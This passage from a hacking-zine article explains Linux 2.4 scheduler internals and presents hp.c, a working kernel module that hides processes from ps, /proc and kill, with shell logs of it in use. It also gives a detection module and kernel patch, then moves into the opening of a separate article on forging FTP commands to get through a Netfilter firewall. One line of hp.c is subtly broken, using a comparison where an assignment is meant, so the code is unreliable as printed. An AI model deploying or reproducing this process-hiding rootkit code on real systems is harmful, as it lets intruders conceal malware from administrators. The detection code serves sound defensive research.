<codesnip src="include/asm-i386/system.h" line=15>
#define prepare_to_switch()     do { } while(0)
#define switch_to(prev,next,last) do {                          \
        asm volatile("pushl %%esi\n\t"                          \
                     "pushl %%edi\n\t"                          \
                     "pushl %%ebp\n\t"                          \
                     "movl %%esp,%0\n\t"        /* save ESP */  \
```

```
                     "movl %3,%%esp\n\t"         /* restore ESP */        \
                     "movl $1f,%1\n\t"           /* save EIP */           \
                     "pushl %4\n\t"              /* restore EIP */        \
                     "jmp __switch_to\n"                                  \
                     "1:\t"                                               \
                     "popl %%ebp\n\t"                                     \
                     "popl %%edi\n\t"                                     \
                     "popl %%esi\n\t"                                     \
                     :"=m" (prev->thread.esp),"=m" (prev->thread.eip),   \
                      "=b" (last)                                         \
                     :"m" (next->thread.esp),"m" (next->thread.eip),     \
                      "a" (prev), "d" (next),                             \
                      "b" (prev));                                        \
} while (0)
</codesnip src="include/asm-i386/system.h">
```

Notice the "jmp __switch_to" inside all that assembly code that simply arranges the arguments on the stack.

```
<codesnip src="arch/i386/kernel/process.c" line=682>
void __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
</codesnip src="arch/i386/kernel/process.c">
```

context_switch() and switch_to() causes what is known as a context switch (hence the name) which in not so many words is giving the processor and memory control to another task.

But enough of this; now what happends when we jump in the never ending loop. Well, its not actually a never ending loop, if it would be your computer would just hang. What actually happends is that your task gets the cpu taken away from it every once in a while and gets it back after some other tasks get time to run (theres queueing mechanisms that let tasks share the cpu based on theire priority, if our task would have a real time priority it would have to release the cpu manualy by sched_yeld()). So how exactly is this done; lets talk a bit about the timer interrupt first coz its closely related.

This is a function like most things are in the linux kernel, and its described in a struct

```
<codesnip src="arch/i386/kernel/time.c" line=556>
static struct irqaction irq0  = { timer_interrupt, SA_INTERRUPT, 0,
                                  "timer", NULL, NULL};
</codesnip src="arch/i386/kernel/time.c">
```

and setup in time_init.

```
<codesnip src="arch/i386/kernel/time.c" line=635>
void __init time_init(void)
{
        .......
#ifdef CONFIG_VISWS
        .......
        setup_irq(CO_IRQ_TIMER, &irq0);
#else
        setup_irq(0, &irq0);
#endif
</codesnip src="arch/i386/kernel/time.c">
```

After this, every timer click, timer_interrupt() is called and at some point calls do_timer_interrupt()

```
<codesnip src="arch/i386/kernel/time.c" line=466>
static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
        .......
        do_timer_interrupt(irq, NULL, regs);
</codesnip src="arch/i386/kernel/time.c">
```

which calls on do_timer (bare with me).

```
<codesnip src="arch/i386/kernel/time.c" line=393>
static inline void do_timer_interrupt(int irq, void *dev_id,
                                      struct pt_regs *regs)
{
        .......
        do_timer(regs);
</codesnip src="arch/i386/kernel/time.c">
```

do_timer() does two things, first update the current process times and second call on schedule_tick() which precurses schedule() by first taking the current process of the active array and placing it in the expired array; this is the place where bad processes (the dirty hogs :-) get their cpu taken away from them.

```
<codesnip src="kernel/timer.c" line=665>
void do_timer(struct pt_regs *regs)
{
        (*(unsigned long *)&jiffies)++;
#ifndef CONFIG_SMP
        /* SMP process accounting uses the local APIC timer */

        update_process_times(user_mode(regs));
#endif
</codesnip src="kernel/timer.c">
```

```
<codesnip src="kernel/timer.c" line=578>
/*
 * Called from the timer interrupt handler to charge one tick to the
 * current process.  user_tick is 1 if the tick is user time, 0 for system.
 */
void update_process_times(int user_tick)
{
        .......
        update_one_process(p, user_tick, system, cpu);
        scheduler_tick(user_tick, system);
}
</codesnip src="kernel/timer.c">
```

```
<codesnip src="kernel/sched.c" line=663>
/*
 * This function gets called by the timer code, with HZ frequency.
 * We call it with interrupts disabled.
 */
void scheduler_tick(int user_tick, int system)
{
     .......
     /* Task might have expired already, but not scheduled off yet */
        if (p->array != rq->active) {
                p->need_resched = 1;
                return;
        }
        .......
        if (!--p->time_slice) {
                dequeue_task(p, rq->active);
                p->need_resched = 1;
                .......
                if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) {
                        .......
                        enqueue_task(p, rq->expired);
                } else
                        enqueue_task(p, rq->active);
        }
</codesnip src="kernel/sched.c">
```

Notice the "need_resched" field of the task struct getting set; now the ksoftirqd() task which is a kernel thread will catch this process and call schedule()

```
 [root@absinth root]# ps aux | grep ksoftirqd
 root      3  0.0  0.0     0    0 ?  SWN  11:45   0:00    [ksoftirqd_CPU0]

<codesnip src="kernel/softirq.c" line=398>
__init int spawn_ksoftirqd(void)
{
        .......
        for (cpu = 0; cpu < smp_num_cpus; cpu++) {
                if (kernel_thread(ksoftirqd, (void *) (long) cpu,
                                  CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)
                     printk("spawn_ksoftirqd() failed for cpu %d\n", cpu);
                .......

__initcall(spawn_ksoftirqd);
</codesnip src="kernel/softirq.c">

<codesnip src="kernel/softirq.c" line=361>
static int ksoftirqd(void * __bind_cpu)
{
        .......
        for (;;) {
                .......
                        if (current->need_resched)
                                schedule();
                .......
</codesnip src="kernel/softirq.c">
```

And if all this seems bogling to you dont worry, just walk through the kernel sources again from the begining and try to understand more than im explaining here, no one expects you to understand from the first read through such a complicated process like the linux scheduling.. remeber that the cookie lies in the details ;-) you can read more about the linux scheduler in [7], [8] and [9]

Every cpu has its own runqueue, so apply the same logic for SMP;

So you can see how a process can be on any number of lists waiting for execution, and if its not on the linked task_struct list we're in big trouble trying to find it. The linked and pidhash lists are NOT used by the schedule() code to run your program as you saw, some syscalls do use these (ptrace, alarm, the timers in general which use signals and all calls that use a pid - for the pidhash list)

Another note to the reader..all example progs from the _attacking_ section will be anemic modules, no dev/kmem for you since i dont want my work to wind up in some lame rk that would only contribute to wrecking the net, although kmem counterparts have been developed and tested to work fine, and also, with modules we are more portable, and our goal is to present working examples that teach and dont krash your kernel; the countering section will not have a kmem enabled prog simply because I'm lazy and not in the mood to mess with elf relocations (yup to loop the list in a reliable way we have to go in kernel with the code)..
I'll be providing a kernel patch though for those not doing modules.

You should know that if any modules give errors like
"hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters, including invalid IO or IRQ parameters

You may find more information in syslog or the output from dmesg" when inserting, this is a "feature" (heh) so that you wont have to rmmod it, the modules do the job theyre supposed to.

--[3 - abusing the silence (attacking)

If you dont have the IQ of a windoz admin, it should be pretty clear to you by now where we are going with this. Oh im sorry i meant to say "Windows (TM) admin (TM)" but the insult still goes. Since the linked list and pidhash have no use to the scheduler, a program, a task in general (kernel threads also) can run happy w/o them. So we remove it from there with REMOVE_LINKS/unhash_pid and if youve been a happy hacker looking at all of the sources ive listed you know by now what these 2 functions do. All that will suffer from this operation is the IPC methods (Inter Process Comunications); heh well were invisible why the fuck would we answer if someone asks "is someone there ?" :) however since only the linked list is used to output in ps and alike we could leave pidhash untouched so that kill/ptrace/timers.. will work as usualy. but i dont see why would anyone want this as a simple bruteforce of the pid space with kill(pid,0) can uncover you.. See pisu program that i made that does just that but using 76 syscalls besides kill that "leak" pid info from the two list structures. So you get the picture, right ?

hp.c is a simple module to hide a task:

```
 [root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
```

[Method 1]

Now to show you what happends when we unlink the process from certain lists; first from the linked list

```
 [root@absinth ksched]# ps aux | grep sleep
 root      1129  0.0  0.5  1848  672 pts/4    S    22:00   0:00 sleep 666
 root      1131  0.0  0.4  1700  600 pts/2    R    22:00   0:00 grep sleep
 [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
    You may find more information in syslog or the output from dmesg
 [root@absinth ksched]# tail -2 /var/log/messages
 Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
 1129 is 0xc0f44000
 Mar 13 22:02:50 absinth kernel: [HP] removing process links
 [root@absinth ksched]# ps aux | grep sleep
 root      1140  0.0  0.4  1700  608 pts/2    S    22:03   0:00 grep sleep
 [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
     You may find more information in syslog or the output from dmesg
 [root@absinth ksched]# tail -1 /var/log/messages
 Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
 Mar 13 22:03:53 absinth kernel: [HP] setting process links
 [root@absinth ksched]# ps aux | grep sleep
 root      1129  0.0  0.5  1848  672 pts/4    S    22:00   0:00 sleep 666
 root      1143  0.0  0.4  1700  608 pts/2    S    22:04   0:00 grep sleep
 [root@absinth ksched]#
```

[Method 2] (actualy an added enhacement to method 1)

Point made. Now from the hash list

```
 [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
 You may find more information in syslog or the output from dmesg

 [root@absinth ksched]# tail -2 /var/log/messages
 Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
 is 0xc0f44000
 Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
 [root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
       You may find more information in syslog or the output from dmesg
```

```
 [root@absinth ksched]# tail -1 /var/log/messages
 Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
 Mar 13 22:07:18 absinth kernel: [HP] hashing pid
 [root@absinth ksched]# kill -9 1129
 [root@absinth ksched]#
```

So upon removing from the hash list the process also becomes invulnerable to kill signals and any other syscalls that use the hash list for that matter. This also hides your task from methods of uncovering like kill(pid,0) which chkrootkit [10] uses.

* methods 1 and 2 arent that good at hideing shells since most have builtin job control and that requires a working find_task_by_pid() and for_each_task() (look at sys_setpgid() sources), however, if you know how to disable that it works just fine :P ok ill give you a hint, make the standard output/input not a terminal.

[Method 3]

But this is kids stuff; lets abuse the way the function that generates the pid list for the /proc VFS works.

```
<codesnip src="fs/proc/base.c" line=1057>
static int get_pid_list(int index, unsigned int *pids)
{
        .......
        for_each_task(p) {
                .......
                if (!pid)
                        continue;
</codesnip src="fs/proc/base.c">
```

Have you spoted the not ? :-) cmon its easy, just make our pid 0 and we wont get listed (pid 0 tasks are of a special kernel breed and thats why they dont get listed there - actualy the kernel itself, the first "task" and its cloned children like the swapper); also since we are changing the pid but not rehashing the pid position in the hash list all searches for pid 0 will go to the wrong hash and all searches for our old pid will find a task with a pid of 0, well it will fail each time. An interesting side effect of having pid 0 is that the task can call clone() [11] with a flag of CLONE_PID, effectively spawning hidden children as well; aint that a threat? The old pid can be recovered from tgid member of the task_struct since getpid() does it so can we, and moreover this method is so safe to do from user space since we arent complicating with possible race conditions screwing with the task list pointers. Well safe as long as your process doesnt exit as we are just changing its pid..

```
<codesnip src="kernel/timer.c" line=710>
asmlinkage long sys_getpid(void)
{
        /* This is SMP safe - current->pid doesn't change */
        return current->tgid;
}
</codesnip src="kernel/timer.c">
```

btw if we change only the pid to 0 there will be no danger that another process migth be assigned the same pid we _had_ because in the get_pid() func theres a check for tgid also, which we leave untouched and use to restore the pid (just read the source for hp.c)

```
 [root@absinth ksched]# ps aux | grep sleep
 root      1991  0.2  0.5  1848  672 pts/7    S    19:13   0:00 sleep 666
 root      1993  0.0  0.4  1700  608 pts/6    S    19:13   0:00 grep sleep
 [root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
       You may find more information in syslog or the output from dmesg
 [root@absinth ksched]# tail -2 /var/log/messages
```

```
 Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
 is 0xc30f0000
 Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
 [root@absinth ksched]# ps aux | grep sleep
 root      1999  0.0  0.4  1700  600 pts/6    R    19:14   0:00 grep sleep
 [root@absinth ksched]# kill -9 1991
 bash: kill: (1991) - No such process
 [root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
       You may find more information in syslog or the output from dmesg
 [root@absinth ksched]# tail -1 /var/log/messages
 Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
 Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
 [root@absinth ksched]# ps aux | grep sleep
 root      1991  0.0  0.5  1848  672 pts/7    S    19:13   0:00 sleep 666
 [root@absinth ksched]#
```

See how cool is this? I might say that all this article is about is zerofing pids in task_structs :-)
(and you only have to change 2 bytes at most to hide a process !)

* your task should never call exit when having pid 0 or it will suck from do_exit which is called by sys_exit

```
<codesnip src="kernel/exit.c" line=480>
NORET_TYPE void do_exit(long code)
{
        .......
        if (!tsk->pid)
                panic("Attempted to kill the idle task!");
<codesnip src="kernel/exit.c">
```

That is if you hide your shell like this be sure to unhide it (set its pid to something) before you `exit`.. or , dont mind me and exit the whole system hehe. In a compromised environment do_exit could have that particular part overwritten with nops (no operation instruction - an asm op code that does nothing).

You can use for the method field when insmoding hp.o any combination of the 3 bit flags presented

--[4 - can you scream ? (countering)

Should you scream? Well, yes. Detecting the first method can be a waiting game or at best, a hide and seek pain-in-the-ass inside all the waiting queues around the kernel, while holding the big lock. But no, its not imposible to find a hidden process even if it could mean running a rt task that will take over the cpu(s) and binary search the kmem device. This could be done as a brute force for certain magic numbers inside the task struct whithin the memory range one could get allocated and look if its valid with something like testing its virtual memory structures but this has the potential to be very unreliable (and ..hard).

Finding tasks that are hiden this way is a pain as no other structure contains a single tasks list so that in a smooth soop we could itterate and see what is not inside the linked list and pidhash and if there would be we wouldve probably removed out task from there too hehe. If you think by now this will be the ultimate kiddie-method, hope no more, were smart people, for every problem we release the cure also. So there is a ..way :) .. a clever way exploiting what every process desires, the need to run ;-} *evil grin*

This method can take a while however, if a process blocks on some call like listen() since we only catch them when they _run_ while being _hidden_.

Other checks could verify the integrity of the linked list, like the order in the list and the time stamps or something (know that ptrace() [12] fucks with this order).

To backdoor switch_to (more exactly __switch_to, remember the first is a define) is a bit tricky from a module, however ive done it but it doesnt seem very portable so instead, from a module, we hook the syscall gate thus exploiting the *need to call* of programs :-), which is very easy, and every program in order to run usefuly has to call some syscalls, right?

But so that you know, to trap into schedule() from a module (or from kmem for that matter) we find the address of __switch_to(). We could do this two ways, either do some pattern matching for calls inside schedule() or notice that sys_fork() is right after __switch_to() and do some math. After that just insert a hook at the end of __switch_to (doing it before __switch_to would make our code execute in unsafe environment - krash - since its a partialy switched environment).

So this is what the module does, the kernel patch, sh.patch uses the mentioned need to run of processes by inserting a call inside the schedule() function which was described earlier and checks the structs against the current process.

So how do we deal with _real_ pid 0 tasks, that we dont catch them as being rogues? Remember what ive said about the pid 0 tasks being a special breed, they are kernel threads in effect so we can differentiate them from normal user land processes because they have no allocated memory struct / no userland memory dooh! / and no connected binary format struct for that matter (a special case would be when one would have its evil task as a mangled kernel thread but i guess we could tell even then by name or the number of active kernel threads if its an evil one).

Anyway for an example with the *need ro call* method.. For this we launch a bash session so that we can _put it on the run queue_ by writing some command on it.. like i said, we catch these tasks only when they do syscalls

```
 [root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o
 [root@absinth ksched]# insmod sht.o
 [root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1
 hp.o: init_module: Device or resource busy
 Hint: insmod errors can be caused by incorrect module parameters,
 including invalid IO or IRQ parameters
       You may find more information in syslog or the output from dmesg
 ( now we type some command in the hidden bash session to make it run )
 [root@absinth root]# tail /var/log/messages
 .......
 Jul  8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
 0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
 list / pid is valid )
 Jul  8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
 0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
 list / pid is valid )
 [root@absinth ksched]# rmmod sht
```

Voila. It works.. it also looks for unhashed or pid 0 tasks; the only problem atm is the big output which ill sort out with some list hashed by the task address/pid/processor/start_time so that we only get 1 warning per hidden process :-/

To use the kernel patch instead of the module change to the top of your linux source tree and apply it with `patch -p0 < sh.patch` (if you have a layout like /usr/src/linux/, cd into /usr/src/). The patch is for the 2.4.30 branch (although it migth work with other 2.4 kernels; if you need it for other kernel versions check with me) and it works just like the module just that it hooks directly into the schedule() function and so can catch sooner any hidden tasks.

Now if some of you are thinking at this point why make public research like this when its most likely to get abused, my answer is

simple, dont be an ignorant, if i have found most of this things on my own I dont have any reason to believe others havent and its most likely to already been used in the wild, maybe not that widespead but lacking the right tools to peek in the kernel memory, we would never know if and how used it is already. So shut your suck hole .. the only ppl hurting from this are the underground hackers, but then again they are brigth people and other more leet methods are ahead :-) just think about hideing a task inside another task (sshutup ubra !! lol no peeking)
.. you will read about it probably in another small article

--[5 - references

[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc

[2] LRK - Linux Root Kit
by Lord Somer <webmaster@lordsomer.com>
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz

[3] LKM HACKING
by pragmatic from THC
http://reactor-core.org/linux-kernel-hacking.html

[4] Syscall redirection without modifying the syscall table
by Silvio Cesare <silvio@big.net.au>
http://www.big.net.au/~silvio/stealth-syscall.txt
http://spitzner.org/winwoes/mtx/articles/syscall.htm

[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
by kad <kadamyse@altern.org>
http://www.phrack.org/show.php?p=59&a=4

[6] Phrack 61/0x0e - Kernel Rootkit Experiences
by stealth <stealth@segfault.net>
http://www.phrack.org/show.php?p=61&a=14

[7] Linux kernel internals #Process and Interrupt Management
by Tigran Aivazian <tigran@veritas.com>
http://www.tldp.org/LDP/lki/lki.html

[8] Scheduling in UNIX and Linux
by moz <moz@compsoc.man.ac.uk>
http://www.kernelnewbies.org/documents/schedule/

[9] KernelAnalysis-HOWTO #Linux Multitasking
by Roberto Arcomano <berto@fatamorgana.com>
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html

[10] chkrootkit - CHecK ROOT KIT
by Nelson Murilo <nelson@pangeia.com.br>
http://www.chkrootkit.org/

[11] manual page for clone(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone

[12] manual page for ptrace(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace

--[6 - and the game dont stop..

Hei fukers! octavian, trog, slider, raven and everyone else I keep close with, thanks for being there and wasteing time with me, sometimes I really need that ; ruffus , nirolf and vadim wtf lets get the old team on again .. bafta pe oriunde sunteti dudes.

    If you notice any typos, mistakes, have anything to communicate with
me feel free make contact.

 web - w3.phi.group.eu.org
 mail - ubra_phi.group.eu.org
 irc - Efnet/Undernet #PHI

* the contact info and web site is and will not be valid/up for a few
weeks while im moving house, sorry ill get things settled ASAP (that
is up until about august of 2005), meanwhile you can get in touch
with me on the email dragosg_personal.ro

--[7 - sources

<++> src/Makefile

```
all: sht.c hp.c
        gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c



<-->
```

<++> src/hp.c

```
/*|
 *      hp - hide pid v1.0.0
 *       hides a pid using different methods
 *       ( demo code for hideing processes paper )
 *
 *      syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
 *
 *      coded in 2004 by ubra from PHI Group
 *       web  - ubra.phi.group.za.org
 *       mail - ubra_phi.group.za.org
 *       irc  - Efnet/Undernet#PHI
|*/



#define __KERNEL__
#define MODULE


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>



pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;



int init_module ( ) {
        if ( pid ) {
                task = find_task_by_pid(pid) ;
                printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task
) ;
                if ( task ) {
                        write_lock_irq(&tasklist_lock) ;
                        if ( method & 0x1 ) {
                                printk("[HP] removing process links\n") ;
                                REMOVE_LINKS(task) ;
                        }
```

```
                        if ( method & 0x2 ) {
                                printk("[HP] unhashing pid\n") ;
                                unhash_pid(task) ;
                        }
                        if ( method & 0x4 ) {
                                printk("[HP] zerofing pid\n") ;
                                task->pid == 0 ;
                        }
                        write_unlock_irq(&tasklist_lock) ;
                }
        } else if ( task ) {
                printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
                write_lock_irq(&tasklist_lock) ;
                if ( method & 0x1 ) {
                        printk("[HP] setting process links\n") ;
                        SET_LINKS(task) ;
                }
                if ( method & 0x2 ) {
                        printk("[HP] hashing pid\n") ;
                        hash_pid(task) ;
                }
                if ( method & 0x4 ) {
                        printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
                        task->pid = task->tgid ;
                }
                write_unlock_irq(&tasklist_lock) ;
        }
        return 1 ;
}




MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;

MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;

MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2
- pidhash , 0x4 - zerofy pid" ) ;


MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;



<-->



<++> src/sht.c
/*|
 *      sht - search hidden tasks v1.0.0
 *       checks tasks to be visible upon entering syscall
 *       ( demo code for hideing processes paper )
 *
 *      syntax : insmod sht.o
 *
 *      coded in 2005 by ubra from PHI Group
 *       web  - w3.phi.group.za.org
 *       mail - ubra_phi.group.za.org
 *       irc  - Efnet/Undernet#PHI
|*/
```

```
#define __KERNEL__
#define MODULE


#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>



struct idta {
        unsigned short size ;
        unsigned long addr __attribute__((packed)) ;
} ;


struct idt {
        unsigned short offl ;
        unsigned short seg ;
        unsigned char pad ;
        unsigned char flags ;
        unsigned short offh ;
} ;



unsigned long get_idt_addr ( void ) {
        struct idta idta ;

        asm ( "sidt %0" : "=m" (idta) ) ;
        return idta.addr ;
}



unsigned long get_int_addr ( unsigned int intp ) {
        struct idt idt ;
        unsigned long idt_addr ;

        idt_addr = get_idt_addr() ;
        idt = *((struct idt *) idt_addr + intp) ;
        return idt.offh << 16 | idt.offl ;
}



void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) {
        struct idt idt ;
        unsigned long idt_addr ;

        if ( old_func )
                *old_func = get_int_addr(intp) ;
        idt_addr = get_idt_addr() ;
        idt = *((struct idt *) idt_addr + intp) ;
        idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;
        idt.offl = (unsigned short) (new_func & 0xFFFF) ;
        *((struct idt *) idt_addr + intp) = idt ;
        return ;
}



asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ;
asmlinkage void stub_func ( void ) ;

unsigned long new_handler = (unsigned long) &check_task ;
unsigned long old_handler ;
```

```
void stub_handler ( void ) {
        asm(".globl stub_func                   \n"
            ".align 4,0x90                      \n"
            "stub_func :                        \n"
            "    pushal                         \n"
            "    pushl   %%eax                  \n"
            "    movl    $-8192 , %%eax         \n"
            "    andl    %%esp , %%eax          \n"
            "    pushl   %%eax                  \n"
            "    movl    -4(%%esp) , %%eax      \n"
            "    pushl   %%esp                  \n"
            "    call    *%0                    \n"
            "    addl    $12 , %%esp            \n"
            "    popal                          \n"
            "    jmp     *%1                    \n"
            :: "m" (new_handler) , "m" (old_handler) ) ;
}



asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) {
        struct task_struct *task_p = &init_task ;
        unsigned char on_ll = 0 , on_ph = 0 ;

        if ( ! task->mm )
                return ;
        do {
                if ( task_p == task ) {
                        on_ll = 1 ;
                        break ;
                }
                task_p = task_p->next_task ;
        } while ( task_p != &init_task ) ;
        if ( find_task_by_pid(task->pid) == task )
                on_ph = 1 ;
        if ( ! on_ll || ! on_ph || ! task->pid )
                printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDD
EN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? "on lin
ked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , ta
sk->pid ? "pid is valid" : "PID IS INVALID" ) ;
        return ;
}



int sht_init ( void ) {
        hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ;
        printk("[SHT] loaded - monitoring tasks integrity\n") ;
        return 0 ;
}



void sht_exit ( void ) {
        hook_int ( 128 , old_handler , NULL ) ;
        printk("[SHT] unloaded\n") ;
        return ;
}



module_init(sht_init) ;
module_exit(sht_exit) ;




MODULE_AUTHOR("ubra / PHI Group") ;
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
```

```
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;


<-->




<++> src/sh.patch
--- linux-2.4.30/kernel/sched_orig.c    2004-11-17 11:54:22.000000000 +0000
+++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000
@@ -534,6 +534,25 @@
        __schedule_tail(prev);
 }

+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next)
+{
+       struct task_struct *task_p = &init_task;
+       unsigned char on_ll = 0, on_ph = 0;
+
+       do {
+               if(task_p == prev) {
+                       on_ll = 1;
+                       break;
+               }
+               task_p = task_p->next_task ;
+       } while(task_p != &init_task);
+       if (find_task_by_pid(prev->pid) == prev)
+               on_ph = 1 ;
+       if (!on_ll || !on_ph || !prev->pid)
+               printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> nex
t task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, nex
t->pid, next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pi
dhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
+       return;
+}
+
 /*
  *  'schedule()' is the scheduler function. It's a very simple and nice
  * scheduler: it's not perfect, but certainly works for most things.
@@ -634,6 +653,13 @@
        task_set_cpu(next, this_cpu);
        spin_unlock_irq(&runqueue_lock);

+       /*
+        * check task`s structures before we do any scheduling decision
+        * skip any kernel thread which might yeld false positives
+        */
+       if(prev->mm)
+               phi_sht_check_task(prev, next);
+
        if (unlikely(prev == next)) {
                /* We won't go through the normal tail, so do this by hand */
                prev->policy &= ~SCHED_YIELD;
<-->

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14

|=-------=[Breaking through a Firewall using a forged FTP command]=------=|
|=---=|
|=-------------=[Soungjoo Han <kotkrye@hanmail.net>]=------------------=|

Table of Contents

--[1 - Introduction

FTP is a protocol that uses two connections. One of them is called a control connection and the other, a data connection. FTP commands and replies are exchanged across the control connection that lasts during an FTP session. On the other hand, a file(or a list of files) is sent across the data connection, which is newly established each time a file is transferred.

Most firewalls do not usually allow any connections except FTP control connections to an FTP server port(TCP port 21 by default) for network security. However, as long as a file is transferred, they accept the data connection temporarily. To do this, a firewall tracks the control connection state and detects the command related to file transfer. This is called stateful inspection.

I've created three attack tricks that make a firewall allow an illegal connection by deceiving its connection tracking using a forged FTP command.

I actually tested them in Netfilter/IPTables, which is a firewall installed by default in the Linux kernel 2.4 and 2.6. I confirmed the first trick worked in the Linux kernel 2.4.18 and the second one(a variant of the first one) worked well in the Linux 2.4.28(a recent version of the Linux kernel).

This vulnerability was already reported to the Netfilter project team and they fixed it in the Linux kernel 2.6.11.

--[2 - FTP, IRC and the stateful inspection of Netfilter

First, let's examine FTP, IRC(You will later know why IRC is mentioned) and the stateful inspection of Netfilter. If you are a master of them, you can skip this chapter.

As stated before, FTP uses a control connection in order to exchange the commands and replies(, which are represented in ASCII) and, on the contrary, uses a data connection for file transfer.

For instance, when you command "ls" or "get <a file name>" at FTP prompt, the FTP server(in active mode) actively initiates a data connection to a TCP port number(called a data port) on the FTP client, your host. The client, in advance, sends the data port number using a PORT command, one of FTP commands.

The format of a PORT command is as follows.

```
PORT<space>h1,h2,h3,h4,p1,p2<CRLF>
```

Here the character string "h1,h2,h3,h4" means the dotted-decimal IP "h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicates a data port number(= p1 * 256 + p2). Each field of the address and port number is in decimal number. A data port is dynamically assigned by a client. In addition, the commands and replies end with <CRLF> character sequence.

Netfilter tracks an FTP control connection and gets the TCP sequence number and the data length of a packet containing an FTP command line (which ends with <LF>). And then it computes the sequence number of the next command packet based on the information. When a packet with the sequence number is arrived, Netfilter analyzes whether the data of the packet contains an FTP command. If the head of the data is the same as "PORT" and the data ends with <CRLF>, then Netfilter considers it as a valid PORT command (the actual codes are a bit more complicated) and extracts an IP address and a port number from it. Afterwards, Netfilter "expects" the server to actively initiate a data connection to the specified port number on the client. When the data connection request is actually arrived, it accepts the connection only while it is established. In the case of an incomplete command which is called a "partial" command, it is dropped for an accurate tracking.

